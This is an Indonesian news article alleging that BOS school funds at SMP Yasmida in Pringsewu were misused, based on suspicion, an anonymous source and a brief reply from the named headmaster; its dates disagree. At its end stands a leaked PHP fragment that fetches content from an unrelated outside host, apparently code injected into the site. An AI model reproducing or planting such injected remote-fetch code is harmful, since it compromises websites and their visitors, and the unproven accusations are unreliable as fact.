Realisasi Pemeliharaan Sarana dan Prasarana Sekolah SMP Yasmida Tahun Ajaran 2020/2021 Diduga Digelapkan

Senin, 28 Maret 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pringsewu, Jejakkasus.com – Realisasi Dana BOS  sekolah SMP Yasmida Tahun Ajaran 2020/2021 diduga kurang sesuai dengan realisasi yang direalisasikan.
Dengan ini sesuai data-data yang didapatkan  oleh wartawan media ini tercatat ada beberapa item yang janggal, patut dikonfirmasi, Senin (28/4/2022).
Adapun beberapa item realisasi yang patut dikonfirmasi, seperti realisasi BOS triwulan I untuk Pemeliharaan sarana dan prasarana Sekolah sebesar Rp. 1.050.000 dan Kegiatan pembelajaran dan ekstrakurikuler Rp. 6.750.000, ini seperti apa realisasi kegiatannya.
Sedangkan di triwulan II juga merealiaasikan untuk Langganan daya dan jasa Rp. 2.492.500 dan Pemeliharaan sarana dan prasarana Sekolah Rp. 5.300.000.
Dan selanjutnya ditermin ke III juga ada realisasi langganan daya dan jasa Rp. 1.259.500, Pemeliharaan sarana dan prasarana Sekolah Rp. 17.325.000, hal ini untuk keterbukaan publik perlu sekiranya untuk pihak sekolah dapat memberikan jawaban seberti apakah hasil realisasi Pemeliharaan sarana dan prasarana Sekolah yang telah direalisasikan di setiap triwulannya.
Dari narasumber yang tidak mau disebutkan namanya menjelaskan kepada awak media coba di Pertanyakan sampai sedetail mungkin dana BOS kepada pihak sekolah karena dana BOS lahan basah yang penggunaannya entah kemana larinya di masa pandemi 2020/2021 mengingat biaya sekolah tetap jalan walaupun sekolah pembelajaran dari di masa pandemi sekalipun itu sekolah negeri”Pungkasnya.
Kepala sekolah SMP yasmida Muthar Abidin saat dikonfirmasi melalui WhatsApp menjelaskan bahwa kami sudah melapor ke inspektorat,”ucapannya
Kepada aparat penegak hukum untuk (APH) dapat melakukan pemeriksaan Realisasi Pemeliharaan Sarana dan Prasarana Dana Bos Sekolah SMP Yasmida Tahun Ajaran 2020/2021 Diduga Miring
(Red)
Baca Juga:  Terlibat Korupsi Politisi Budi Supriyanto Divonis 5 Tahun Penjara
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Berita Terkait

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Selasa, 24 September 2024 - 18:23 WIB

Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik

Selasa, 24 September 2024 - 10:15 WIB

Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>